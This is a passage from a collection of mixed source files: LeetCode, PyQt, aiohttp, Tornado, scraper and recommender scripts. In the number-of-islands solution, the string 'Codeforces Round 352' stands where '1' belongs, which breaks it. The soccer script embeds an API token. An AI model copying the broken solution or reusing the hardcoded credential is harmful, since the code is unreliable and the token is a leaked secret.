start_point[0], height)\n\t\t\tcnt += 1\n\t\treturn cnt\n\n\tdef findFirst(self, grid, start_line, height):\n\t\tfor i in range(start_line, height):\n\t\t\tfor j, element in enumerate(grid[i]):\n\t\t\t\tif(element == 'Codeforces Round 352'):\n\t\t\t\t\treturn (i, j)\n\t\treturn (-1, -1)\n\n\tdef changeGrid(self, grid, start_point, height, length):\n\t\tl = [start_point]\n\t\twhile(l != []):\n\t\t\ti, j = l.pop()\n\t\t\tgrid[i][j] = '0'\n\t\t\t# print(\"grid[%d][%d] = '0'\"%(i, j))\n\t\t\tif(j > 0 and grid[i][j - 1] == 'Codeforces Round 352'):\n\t\t\t\tl.append((i, j - 1))\n\t\t\tif(j < length - 1 and grid[i][j + 1] == 'Codeforces Round 352'):\n\t\t\t\tl.append((i, j + 1))\n\t\t\tif(i < height - 1 and grid[i + 1][j] == 'Codeforces Round 352'):\n\t\t\t\tl.append((i + 1, j))\n\t\t\tif(i > 0 and grid[i - 1][j] == 'Codeforces Round 352'):\n\t\t\t\tl.append((i - 1, j))\n\nif(__name__ == '__main__'):\n\tgrid = [\n\t\t# list('11000'), \n\t\tlist('101'),\n\t\tlist('101'),\n\t\tlist('111')\n\t]\n\ts = Solution()\n\tprint(s.numIslands(grid))","sub_path":"Python/200M_Number_of_Islands.py","file_name":"200M_Number_of_Islands.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"569565762","text":"import re\n\n\nmaze_event_pattern = re.compile(r\"^\\d+\\|(B|S\\|\\d+|[FUP]\\|\\d+\\|\\d+)$\")\n\ndef is_valid_maze_event(event: str) -> bool:\n match = maze_event_pattern.match(event)\n return match is not None\n\n\nclass MazeEngine:\n def __init__(self):\n self._clients = {}\n self._follower = {}\n\n def client_add(self, id, client):\n self._clients[id] = client\n\n def client_remove(self, id):\n del self._clients[id]\n\n def follower_clear(self):\n self._follower = {}\n\n def process_event(self, event_line, event_type, from_id='', to_id=''):\n if event_type == \"F\":\n if to_id not in self._follower:\n self._follower[to_id] = [from_id]\n elif from_id not in self._follower[to_id]:\n self._follower[to_id].append(from_id)\n\n if to_id in self._clients:\n client = self._clients[to_id]\n client.write_event(event_line)\n\n elif event_type == \"U\":\n if to_id in self._follower:\n if from_id in self._follower[to_id]:\n self._follower[to_id].remove(from_id)\n\n elif event_type == \"B\":\n for client in self._clients.values():\n client.write_event(event_line)\n\n elif event_type == \"P\":\n if to_id in self._clients:\n client = self._clients[to_id]\n client.write_event(event_line)\n\n elif event_type == \"S\":\n if from_id in self._follower:\n for follower_id in self._follower[from_id]:\n if follower_id in self._clients:\n client = self._clients[follower_id]\n client.write_event(event_line)\n","sub_path":"5_python/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"640479309","text":"from Bio import Phylo\nfrom io import StringIO\nf = open('D:/Download/rosalind_nwck.txt',mode='r')\nseq = f.read().split('\\n\\n')\n\ndis = []\nfor s in seq:\n if s =='':continue\n a,b = s.split(';\\n')\n x,y = b.split()\n tree = Phylo.read(StringIO(a),format='newick')\n mrca = tree.common_ancestor(x, y)\n #print(mrca)\n d = len(mrca.get_path(x)) + len(mrca.get_path(y))\n dis.append(d)\nprint(' '.join(map(str,dis)))","sub_path":"Phylogeny/Distances in Trees.py","file_name":"Distances in Trees.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"88360575","text":"\n\nimport sys\nfrom PyQt5.QtWidgets import QDesktopWidget\n\nfrom PyQt5.QtWidgets import (QWidget, QPushButton, \n QHBoxLayout, QVBoxLayout, QApplication)\n\n\n# 用一个 box 层装两个按钮\nclass Example(QWidget):\n\tdef __init__(self):\n\t\tsuper(Example, self).__init__()\n\t\tself.initUI()\t\t\n\n\tdef initUI(self):\n\t\t# 先报建两个按钮\n\t\tokBtn = QPushButton('确认')\n\t\tccBtn = QPushButton('取消')\n\n\t\t# 创建一个水平 box \n\t\thbox = QHBoxLayout()\n\t\t# 添加一个拉伸因子\n\t\thbox.addStretch(1)\n\t\t# 向这个 box 添加这两个按钮 \n\t\thbox.addWidget(okBtn)\n\t\thbox.addWidget(ccBtn)\n\n\t\t# 创建一个垂直的 box \n\t\tvbox = QVBoxLayout()\n\t\tvbox.addStretch(1)\n\t\t# 向垂直的 box 添加水平的 box\n\t\t# 水平布局被放置在垂直布局中\n\t\t# 垂直框中的拉伸系数将水平框与按钮一起推到窗口底部。\n\t\tvbox.addLayout(hbox)\n\n\t\t# 最后将结合的��放在窗口中\n\t\tself.setLayout(vbox)\n\n\t\t# 这样两个按钮就会在窗口的左下角排列出现\n\t\tself.resize(200, 200)\n\t\tself.center()\n\t\tself.setWindowTitle('Box layout')\n\t\tself.show()\n\n\tdef center(self):\n\t\tqr = self.frameGeometry()\n\t\tcp = QDesktopWidget().availableGeometry().center()\n\t\tqr.moveCenter(cp)\n\t\tself.move(qr.topLeft())\n\n\nif __name__ == '__main__':\n\tapp = QApplication(sys.argv)\n\tex = Example()\n\tsys.exit(app.exec_())\n","sub_path":"Python/py.qt.study/09layou.box.py","file_name":"09layou.box.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"143942486","text":"from bs4 import BeautifulSoup\nfrom spiders.base import BaseSpider\nfrom datetime import datetime\nimport time\n\n\nclass CcidnetSpider(BaseSpider):\n '''\n 赛迪网站的爬虫 基础类\n '''\n url_template = \"http://www.ccidnet.com/news/roll/{}.shtml\"\n # 总页数 不能超过\n end_page_count = 231\n\n def __get_html(self, url):\n response = self.download.get(url, headers={'Hose': \"news.ccidnet.com\"})\n if response is None:\n return None\n txt = self.download.decode(response.content)\n html = BeautifulSoup(txt, \"lxml\")\n return html\n\n def handle_list(self, count):\n '''\n 处理列表页的信息\n :param count:\n :return:\n '''\n url = self.url_template.format(count)\n html = self.__get_html(url)\n if html is None:\n return None\n\n datas = []\n for div in html.find_all(\"div\", class_=\"plist11_p\"):\n div_t_b = div.find(\"div\", \"t_b\")\n spans = div_t_b.find_all(\"span\")\n new_info = {\n \"title\": div.find(\"h2\").a[\"title\"],\n \"href\": div.find(\"h2\").a[\"href\"],\n \"article_desc\": div.p.text,\n \"get_time\": datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n \"post_time\": f\"{datetime.today().year}-{spans[0].text}:00\",\n \"linked\": spans[1][\"tags\"].replace(\" \", \",\")\n }\n datas.append(new_info)\n return datas\n\n def handle_info(self, url):\n '''\n 处理页面的详细信息\n :param url:\n :return:\n '''\n\n html = self.__get_html(url)\n if html is None:\n return None\n info = {}\n title = html.find(\"h2\")\n info[\"title\"] = title if title is None else title.text\n time_author = html.find(\"div\", {\"class\": \"tittle_j\"})\n time_author = time_author if time_author is None else time_author.text.replace(\"\\xa0\", \" \")\n info[\"post_time\"] = None\n info[\"source\"] = None\n info[\"author\"] = None\n if time_author is not None:\n for time_author in time_author.split(\" \"):\n time_author_split = time_author.split(\":\")\n if len(time_author_split) != 2:\n self.log.warning(\"time author split is error\")\n continue\n k, v = time_author_split\n if k == \"发布时间\":\n info[\"post_time\"] = f\"{v}:00\"\n elif k == \"来源\":\n info[\"source\"] = v\n elif k == \"作者\":\n info[\"author\"] = v\n self.log.info(f\"get post time = {info['post_time']}\")\n content = html.find(\"div\", {\"class\": \"main_content\"})\n info[\"content\"] = content if content is None else content.text\n info[\"get_time\"] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n info[\"html\"] = str(html)\n return info\n\n def __get_index_data(self):\n '''\n 获取全部首页的数据\n :return:\n '''\n headers = dict(Host=\"www.ccidnet.com\", Referer=\"http://news.ccidnet.com/news/\")\n result_data = []\n params = {\"_\": str(int(time.time() * 1000))}\n get_data = self.download.get(\"http://news.ccidnet.com/section/254.html\",\n params=params, headers=headers).json()\n\n for data in get_data:\n # 文章的发布时间\n format_data = {\n \"title\": data[\"title\"],\n \"href\": data[\"url\"],\n \"article_desc\": data[\"description\"],\n \"get_time\": datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n \"post_time\": f\"{datetime.today().year}-{data['published']}:00\",\n \"linked\": data[\"tags\"].replace(\" \", \",\")\n }\n result_data.append(format_data)\n return result_data\n\n def __get_one_data(self):\n '''\n 获取首页和第一页滚动新闻的数据\n :return:\n '''\n # 获取首页的数据\n # 获取第一页的数据\n html = self.__get_html(self.url_template.format(1))\n list_data_one = self.handle_list(html)\n self.log.info(f\"list data len = {len(list_data_one)}\")\n return list_data_one\n","sub_path":"spiders/ccidnet/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572856347","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport cgi\nimport cgitb\ncgitb.enable()\nimport shared\nfrom user_main import ToonUser\n\ndef main():\n form = cgi.FieldStorage()\n form_ok = 0\n u = form.getfirst(\"tu1\", '')\n s = form.getfirst(\"tu2\", '')\n xslevel, meld = shared.check_session(u, s)\n if meld:\n l = shared.MeldFout(\"Er is iets misgegaan\", meld)\n else:\n sel_id = form.getfirst(\"edit\", '')\n edit_entry = True if sel_id else False\n l = ToonUser(xslevel, u, s, edit_entry, sel_id)\n print(\"Content-Type: text/html\\n\") # HTML is following\n for x in l.regels:\n print(x)\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"cgi-bin/toon_users.py","file_name":"toon_users.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"370166311","text":"\"\"\"\nFor the heatmap, I index into the Q function with Q[state, action]\n\"\"\"\n\nimport argparse\nimport os\nimport re\nfrom operator import itemgetter\nfrom pathlib import Path\n\nimport joblib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\n\nfrom rlkit.envs.pygame.water_maze import WaterMaze\nimport rlkit.visualization.visualization_util as vu\nfrom rlkit.misc.html_report import HTMLReport\n\nUSE_TIME = False\n\n\ndef create_figure(\n report: HTMLReport,\n target_poses,\n *list_of_vector_fields\n):\n num_vfs = len(list_of_vector_fields)\n width = 7\n height = 7 * num_vfs\n for i, target_pos in enumerate(target_poses):\n fig, axes = plt.subplots(\n num_vfs, figsize=(width, height)\n )\n for j, vf in enumerate([vfs[i] for vfs in list_of_vector_fields]):\n # `heatmaps` is now a list of heatmaps, such that\n # heatmaps[k] = list_of_list_of_heatmaps[k][i]\n min_pos = max(target_pos - WaterMaze.TARGET_RADIUS,\n -WaterMaze.BOUNDARY_DIST)\n max_pos = min(target_pos + WaterMaze.TARGET_RADIUS,\n WaterMaze.BOUNDARY_DIST)\n\n \"\"\"\n Plot Estimated & Optimal QF\n \"\"\"\n ax = axes[j]\n vu.plot_vector_field(fig, ax, vf)\n ax.vlines([min_pos, max_pos], *ax.get_ylim())\n ax.set_xlabel(\"Position\")\n ax.set_ylabel(\"Velocity\")\n ax.set_title(\"{0}. t = {1}. Target X Pos = {2}\".format(\n vf.info['title'],\n vf.info['time'],\n vf.info['target_pos'],\n ))\n img = vu.save_image(fig)\n report.add_image(img, \"Target Position = {}\".format(target_pos))\n\n\ndef create_qf_derivative_eval_fnct(qf, target_pos, time):\n def evaluate(x_pos, x_vel):\n dist = np.linalg.norm(x_pos - target_pos)\n on_target = dist <= WaterMaze.TARGET_RADIUS\n state = np.hstack([x_pos, on_target, time, target_pos])\n state = Variable(torch.from_numpy(state)).float().unsqueeze(0)\n\n action = np.array([[x_vel]])\n action = Variable(\n torch.from_numpy(action).float(), requires_grad=True,\n )\n out = qf(state, action)\n out.backward()\n dq_da = action.grad.data.numpy()\n return out.data.numpy(), 0, dq_da\n return evaluate\n\n\ndef get_path_and_iters(dir_path):\n path_and_iter = []\n for pkl_path in dir_path.glob('*.pkl'):\n match = re.search('_(-*[0-9]*).pkl$', str(pkl_path))\n if match is None: # only saved one param\n path_and_iter.append((pkl_path, 0))\n break\n iter_number = int(match.group(1))\n path_and_iter.append((pkl_path, iter_number))\n return sorted(path_and_iter, key=itemgetter(1))\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"folder_path\", type=str)\n args = parser.parse_args()\n base_dir = Path(os.getcwd())\n base_dir = base_dir / args.folder_path\n\n path_and_iter = get_path_and_iters(base_dir)\n\n resolution = 20\n state_bounds = (-WaterMaze.BOUNDARY_DIST, WaterMaze.BOUNDARY_DIST)\n action_bounds = (-1, 1)\n num_target_poses = 5\n target_poses = np.linspace(*state_bounds, num_target_poses)\n\n report = HTMLReport(\n str(base_dir / 'report.html'), images_per_row=num_target_poses\n )\n\n report.add_header(\"test_header\")\n report.add_text(\"test\")\n for path, iter_number in path_and_iter:\n data = joblib.load(str(path))\n qf = data['qf']\n print(\"QF loaded from iteration %d\" % iter_number)\n\n list_of_vector_fields = []\n for time in [0, 24]:\n vector_fields = []\n for target_pos in target_poses:\n qf_vector_field_eval = create_qf_derivative_eval_fnct(\n qf, target_pos, time\n )\n vector_fields.append(vu.make_vector_field(\n qf_vector_field_eval,\n x_bounds=state_bounds,\n y_bounds=action_bounds,\n resolution=resolution,\n info=dict(\n time=time,\n target_pos=target_pos,\n title=\"Estimated QF and dQ/da\",\n )\n ))\n list_of_vector_fields.append(vector_fields)\n\n report.add_text(\"Iteration = {0}\".format(iter_number))\n create_figure(\n report,\n target_poses,\n *list_of_vector_fields,\n )\n report.new_row()\n\nif __name__ == '__main__':\n main()\n","sub_path":"visualization/memory_bptt/critic_gradients_watermaze_1d.py","file_name":"critic_gradients_watermaze_1d.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616441058","text":"import json\nfrom aiohttp import web\n\nfrom . import db\n\n\ndef own_dumps(*args, **kwargs):\n kwargs['ensure_ascii'] = False\n return json.dumps(*args, **kwargs)\n\n\nclass SongsApiView:\n\n base_url = '/songs'\n\n @staticmethod\n def add_routes(app, prefix=None):\n base_url = SongsApiView.base_url\n if prefix:\n base_url = '/' + prefix + base_url\n\n app.router.add_get(base_url, SongsApiView.list, name='songs_list')\n app.router.add_get(base_url +'/{id}', SongsApiView.retrieve, name='songs_retrieve')\n\n @staticmethod\n async def list(request):\n artist = request.query.get('artist', '')\n\n if artist.isdigit():\n artist_id = int(artist)\n artist_to_text=False\n elif artist == 'name':\n artist_id = None\n artist_to_text = True\n else:\n artist_id = None\n artist_to_text = False\n\n notext = True if 'exclude' == request.query.get('text') else None\n songs = await db.get_songs(request.app['pool'],\n artist_id=artist_id,\n artists_to_text=artist_to_text,\n notext=notext)\n return web.json_response(songs, dumps=own_dumps)\n\n @staticmethod\n async def retrieve(request):\n song_id = request.match_info['id']\n if song_id.isdigit():\n song_id = int(song_id)\n else:\n return web.HTTPNotFound()\n\n artist_to_text = True if 'name' == request.query.get('artist') else None\n result = await db.get_single_song(request.app['pool'], song_id, artist_to_text)\n if result is None:\n return web.HTTPNotFound()\n else:\n if request.query.get('text') == 'exclude':\n result.pop('text')\n return web.json_response(result, dumps=own_dumps)\n\n\nclass ArtistsApiView:\n\n base_url = '/artists'\n\n @staticmethod\n def add_routes(app, prefix=None):\n base_url = SongsApiView.base_url\n if prefix:\n base_url = '/' + prefix + base_url\n\n app.router.add_get(base_url, ArtistsApiView.list, name='artists_list')\n app.router.add_get(base_url +'/{id}', ArtistsApiView.retrieve, name='artists_retrieve')\n\n @staticmethod\n async def list(request):\n artists = await db.get_artists(request.app['pool'])\n return web.json_response(artists, dumps=own_dumps)\n\n @staticmethod\n async def retrieve(request):\n artist_id = request.match_info['id']\n if artist_id.isdigit():\n artist_id = int(artist_id)\n else:\n return web.HTTPNotFound()\n\n songs = request.rel_url.query.get('songs', None)\n if songs == 'full':\n artist = await db.get_single_artist(\n request.app['pool'], artist_id, select_songs=True, full_songs=True\n )\n elif songs == 'true':\n artist = await db.get_single_artist(\n request.app['pool'], artist_id, select_songs=True\n )\n else:\n artist = await db.get_single_artist(request.app['pool'], artist_id)\n\n if artist is None:\n return web.HTTPNotFound()\n else:\n return web.json_response(artist, dumps=own_dumps)\n","sub_path":"sps/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"513555160","text":"# -*- coding: utf-8 -*-\n\n\ndef closest_power(base, num):\n '''\n base: base of the exponential, integer > 1\n num: number you want to be closest to, integer > 0\n Find the integer exponent such that base**exponent is closest to num.\n Note that the base**exponent may be either greater or smaller than num.\n In case of a tie, return the smaller value.\n Returns the exponent.\n '''\n # Your code here\n prevexp = 0\n exp = 0\n\n while True:\n prevexp = exp\n exp += 1 \n if base ** exp > num:\n if abs(num - base ** prevexp) > abs(base ** exp - num):\n return exp\n else:\n return prevexp\n \n\n#closest_power(3,12) #returns 2\n#closest_power(4,12) #returns 2\n#closest_power(4,1) #returns 0\n\n","sub_path":"Programs/closest_power.py","file_name":"closest_power.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"606576756","text":"import requests\nimport json\nf= open(\"Answer.txt\",\"w+\")\n#a= open(\"Prediction.txt\",\"w+\")\nparameter = [\"teams\"]\nteam1 = \"Arsenal FC\"\nteam2 = \"Chelsea FC\"\nteam1Rating = -1\nteam2Rating = -1\nheader = {\"X-Auth-Token\" : \"1064e2f6968e4852bd573b410130ccae\"}\nurl = \"https://api.football-data.org/v2/competitions/PL/standings\"\nparams = dict(\n name = team1\n)\n\nresponse = requests.get(url= url, params=params, headers= header)\ndata = response.json()\n\ntable = data['standings'][0]['table']\n\nfor elt in table:\n if elt['team']['name'] == team1:\n team1Rating = elt['position']\n elif elt['team']['name'] == team2:\n team2Rating = elt['position']\n\n if team1Rating != -1 and team2Rating != -1:\n break\n\n# Assumes non-equal ranking\nif team1Rating < team2Rating:\n f.write(\"Team 1 is better!\")\nelse:\n f.write(\"Team 2 is better!\")\n","sub_path":"soccerprediction.py","file_name":"soccerprediction.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"654214684","text":"import collections\nimport json\nimport traceback\n\nfrom tornado import httpclient\nfrom tornado import gen\nfrom tornado import web\nfrom tornado import stack_context\n\nfrom appnado import constants\nfrom appnado import exceptions\nfrom appnado import settings\nfrom appnado.applications.http import context\nfrom appnado.mixins import logger\n\nMETHODS = (OPTIONS, GET, POST, PUT, DELETE, HEAD, PATCH) = (\n 'OPTIONS', 'GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'PATCH'\n)\n\nRESPONSE_TYPES = (JSON, TEXT) = (\n 'application/json', 'plain/text')\n\nPARSE_RESPONSE = collections.defaultdict(\n lambda: lambda text: text, {\n JSON: json.dumps,\n })\n\n\n# pylint: disable=too-many-public-methods\nclass HTTPApplicationBaseHandler(\n web.RequestHandler,\n logger.WithLogger.build(settings.HTTP_LOGGER_NAME)):\n \"\"\"\n If you want your own context, override _get_context_class()\n If you want i18n capabilities, put this one time in your application:\n\n from appnado.applications.http import translations\n\n translations.load_json_translations(\"Some path to json files\")\n locale.set_default_locale(constants.DEFAULT_LANGUAGE)\n \"\"\"\n EXCEPTION_TO_STATUS_CODE = {\n exceptions.BadRequest.__name__: 400,\n exceptions.Unauthorized.__name__: 401,\n exceptions.Forbidden.__name__: 403,\n exceptions.NotFound.__name__: 404,\n exceptions.PermanentServiceError.__name__: 500,\n exceptions.TemporaryServiceError.__name__: 503\n }\n\n @staticmethod\n def _get_context_class():\n \"\"\"Override this method to use your own context\"\"\"\n return context.HTTPApplicationContext\n\n @gen.coroutine\n def _execute(self, transforms, *args, **kwargs):\n with stack_context.StackContext(\n self._get_context_class()(self.request)):\n return super(HTTPApplicationBaseHandler, self)._execute(\n transforms, *args, **kwargs)\n\n # pylint: disable=unused-argument\n def initialize(self, **kwargs):\n self.request.language = self.get_browser_locale(\n constants.DEFAULT_LANGUAGE).code\n\n def data_received(self, chunk):\n pass\n\n def prepare(self):\n self.logger.debug(\n \"Request: %s %s%s Headers: %s %s\",\n self.request.method, self.request.uri,\n \"?{0}\".format(self.request.query) if self.request.query else \"\",\n self.request.headers,\n \"Body: {0}\".format(self.request.body) if self.request.body else \"\")\n\n try:\n self.process_query()\n self.process_body()\n except exceptions.AppnadoException as ex:\n self.build_response(ex)\n except Exception as ex: # pylint: disable=broad-except\n self.build_response(ex)\n\n def set_default_headers(self):\n self.set_header(\"Server\", \"Appnado\")\n # self.set_header('Access-Control-Allow-Headers', '*')\n # self.set_header('Access-Control-Allow-Credentials', 'true')\n # self.set_header('Access-Control-Allow-Origin', '*')\n # self.set_header('Access-Control-Max-Age', '1728000')\n\n def process_query(self, supported_query_attributes=None):\n if supported_query_attributes:\n processed_query = self.request.arguments\n unsupported_attributes = list(\n set(processed_query.keys()) - set(supported_query_attributes))\n if unsupported_attributes:\n raise exceptions.InvalidArgument(\n 'The following query parameters'\n ' are not supported: {0}'.format(unsupported_attributes))\n\n def process_body(self):\n body = self.request.body\n method = self.request.method\n\n if method in [POST, PUT]:\n content_type = self.request.headers.get('Content-Type', '')\n\n try:\n if content_type.startswith('application/json'):\n processed_body = json.loads(\n body, object_pairs_hook=collections.OrderedDict)\n else:\n processed_body = self.request.arguments\n except (TypeError, ValueError) as ex:\n raise exceptions.InvalidArgument(\n 'Invalid body: {0}'.format(ex))\n else:\n processed_body = None\n\n self.request.processed_body = processed_body\n\n def build_response(self, result, status_code=None,\n response_type=TEXT):\n if response_type not in RESPONSE_TYPES:\n result = Exception(\"Invalid response type\")\n\n if isinstance(result, Exception):\n self.set_header(\"Content-Type\", TEXT)\n body = self._build_response_from_exception(result)\n else:\n self.set_header(\"Content-Type\", response_type)\n\n body = None\n if result:\n body = PARSE_RESPONSE[response_type](result)\n\n if self.request.method == 'GET':\n self.set_status(status_code or 200)\n elif self.request.method == 'POST':\n self.set_status(status_code or 200)\n elif self.request.method == 'PUT':\n self.set_status(status_code or 204)\n elif self.request.method == 'DELETE':\n self.set_status(status_code or 200)\n else:\n pass\n\n if body:\n self.write(body)\n\n self.finish()\n\n def _build_response_from_exception(self, ex):\n status_code = self.EXCEPTION_TO_STATUS_CODE.get(ex.__class__.__name__)\n if status_code:\n self.set_status(status_code)\n response_body = str(ex)\n elif isinstance(ex, web.HTTPError):\n self.set_status(ex.status_code)\n response_body = str(ex)\n elif isinstance(ex, httpclient.HTTPError):\n self.set_status(ex.code)\n response_body = ex.message\n else:\n self.set_status(500)\n response_body = traceback.format_exc()\n\n return response_body\n\n def options(self, *args, **kwargs):\n options_list = [OPTIONS]\n\n if self.__class__.get != HTTPApplicationBaseHandler.get:\n options_list.append(GET)\n\n if self.__class__.post != HTTPApplicationBaseHandler.post:\n options_list.append(POST)\n\n if self.__class__.put != HTTPApplicationBaseHandler.put:\n options_list.append(PUT)\n\n if self.__class__.delete != HTTPApplicationBaseHandler.delete:\n options_list.append(DELETE)\n\n if self.__class__.head != HTTPApplicationBaseHandler.head:\n options_list.append(HEAD)\n\n if self.__class__.patch != HTTPApplicationBaseHandler.patch:\n options_list.append(PATCH)\n\n self.set_header('Access-Control-Allow-Methods',\n ', '.join(options_list))\n","sub_path":"appnado/applications/http/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"237432190","text":"from django.conf import settings\nfrom haystack.query import SearchQuerySet\nfrom oscar.apps.search.search_handlers import *\n\n\nclass SearchHandler(SearchHandler):\n\n def get_search_results(self, search_form):\n return search_form.search()\n\n def get_search_context_data(self, context_object_name=None):\n\n munger = self.get_facet_munger()\n facet_data = munger.facet_data()\n has_facets = any([data['results'] for data in facet_data.values()])\n\n # ADDED PART FOR PRICE INPUT FIELD\n from apps.catalogue.models import Product\n\n price_stats = SearchQuerySet().models(Product).stats('price').stats_results()['price']\n if price_stats:\n min_category_price, max_category_price = round(price_stats.get('min') or 0), \\\n round(price_stats.get('max') or 999999)\n\n dynamic_query_fields = settings.OSCAR_SEARCH_FACETS['dynamic_queries_field_names']\n\n facet_data['price_range']['results'] = dict(min_category_price=min_category_price,\n max_category_price=max_category_price,\n dynamic_query_fields=dynamic_query_fields)\n # END\n\n context = {\n 'facet_data': facet_data,\n 'has_facets': has_facets,\n 'selected_facets': self.request_data.getlist('selected_facets'),\n 'form': self.search_form,\n 'paginator': self.paginator,\n 'page_obj': self.page,\n }\n\n if context_object_name is not None:\n context[context_object_name] = self.get_paginated_objects()\n\n return context\n","sub_path":"src/smesco/apps/search/search_handlers.py","file_name":"search_handlers.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"144455398","text":"# Part1 导入\r\nfrom surprise import Dataset\r\nfrom surprise import Reader\r\nfrom surprise import SlopeOne,BaselineOnly,accuracy\r\nfrom surprise import KNNBasic,NormalPredictor\r\nfrom surprise.model_selection import cross_validate\r\nfrom surprise.model_selection import KFold\r\nfrom surprise import SVD\r\nimport pandas as pd\r\nimport time \r\nstart = time.time()\r\n\r\n# Part2 数据读取\r\n ##数据读取,先定义一个读取器,以','分隔,第一行跳过\r\nreader=Reader(line_format='user item rating timestamp',sep=',',skip_lines=1)\r\ndata=Dataset.load_from_file('./ratings.csv',reader=reader)\r\n ##build_full_trainset()方法可用于在整个训练集上训练\r\ntrain_set=data.build_full_trainset()\r\n\r\n\r\n# Part3 使用SlopeOne算法\r\nalgo = SlopeOne()\r\nalgo.fit(train_set)\r\n\r\n ## 对指定用户和商品进行评分预测 raw user id (as in the ratings file). They are **strings**!\r\nuid = str(196) \r\niid = str(302)\r\n ## 输出uid对iid的预测结果\r\nprint(\"SlopeOne results:\")\r\npred = algo.predict(uid, iid, r_ui=4, verbose=True)\r\n ## 定义K折交叉验证迭代器\r\nkf=KFold(n_splits=3)\r\nfor trainset,testset in kf.split(data):\r\n algo.fit(trainset)\r\n predictions=algo.test(testset)\r\n ##计算RMSE\r\n accuracy.rmse(predictions,verbose=True)\r\n\r\nprint(\"-\"*118)\r\nend = time.time()\r\nprint(\"SlopeOne running time:\", end-start)\r\n\r\nprint(\"-\"*118)\r\nstart = time.time()\r\n\r\n# Part4 使用Baseline算法,并进行优化\r\n # ALS优化,用字典的形式表示,n_epoch 是迭代次数,reg_u 是uesr项的正则化系数默认值为15,reg_i 是item 项的正则化系数默认值为10(https://surprise.readthedocs.io/en/stable/prediction_algorithms.html?highlight=reg_u#baselines-estimates-configuration)\r\nbsl_options = {'method': 'als','n_epochs': 5,'reg_u': 12,'reg_i': 5}\r\nalgo = BaselineOnly(bsl_options=bsl_options)\r\n#algo = BaselineOnly()\r\n#基于正太分布预测随机评分 \r\n#algo = NormalPredictor()\r\n\r\n# 定义K折交叉验证迭代器,K=3\r\nkf = KFold(n_splits=3)\r\nfor trainset, testset in kf.split(data):\r\n # 训练并预测\r\n algo.fit(trainset)\r\n predictions = algo.test(testset)\r\n # 计算RMSE\r\n accuracy.rmse(predictions, verbose=True)\r\n\r\n# raw user id (as in the ratings file). They are **strings**!\r\nuid = str(196)\r\niid = str(302)\r\n# 输出uid对iid的预测结果\r\nprint(\"BaselineOnly results:\")\r\npred = algo.predict(uid, iid, r_ui=4, verbose=True)\r\n\r\nprint(\"-\"*118)\r\nend = time.time()\r\nprint(\"Baseline running time:\", end-start)\r\n\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n#Theory\r\n\r\n#Surprise中的选用常用算法:\r\n # SlopeOne -> 协同过滤算法 (focus today)\r\n # Baseline算法 -> 基于统计的基准预测线打分 (focus today), 可以使用ALS/SGD进行优化\r\n # 基于邻域的协同过滤\r\n # 矩阵分解:SVD,SVD++,PMF,NMF\r\n # \r\n\r\n# Slopeone用于物品更新不频繁,数量相对较稳定并且物品数目明显小于用户数的场景。依赖用户的用户行为日志和物品偏好的相关内容。\r\n\r\n#步骤:\r\n # Step1,计算Item之间的评分差的均值,记为评分偏差(两个item都评分过的用户)\r\n # Step2,根据Item间的评分偏差和用户的历史评分,预测用户对未评分的item的评分\r\n # Step3,将预测评分排序,取topN对应的item推荐给用户\r\n\r\n#优点:\r\n #1.算法简单,易于实现,执行效率高;\r\n #2.可以发现用户潜在的兴趣爱好;\r\n#缺点:\r\n #1. 依赖用户行为,存在冷启动问题和稀疏性问题。\r\n\r\n\r\n#Baselineonly算法\r\n#基准算法包含两个主要的算法NormalPredictor和BaselineOnly。\r\n#BaselineOnly 是基于统计的基准预测线打分,思想是设立基线,并引入user的偏差以及item的偏差:\r\n #μ为所有用户对电影评分的均值\r\n #bui:待求的基线模型中用户u给物品i打分的预估值\r\n #bu:user偏差(如果用户比较苛刻,打分都相对偏低, 则bu<0;反之,bu>0);\r\n #bi为item偏差,反映商品受欢迎程度\r\n\r\n#Baselines can be estimated in two different ways:\r\n #-Using Stochastic Gradient Descent (SGD).\r\n #-Using Alternating Least Squares (ALS).\r\n\r\n#使用ALS进行优化\r\n #Step1,固定bu,优化bi\r\n #Step2,固定bi,优化bu\r\n#ALS参数:\r\n #reg_i:物品的正则化参数,默认为10。\r\n #reg_u:用户的正则化参数,默认为15 。\r\n #n_epochs:迭代次数,默认为10\r\n\r\n","sub_path":"MovieLens 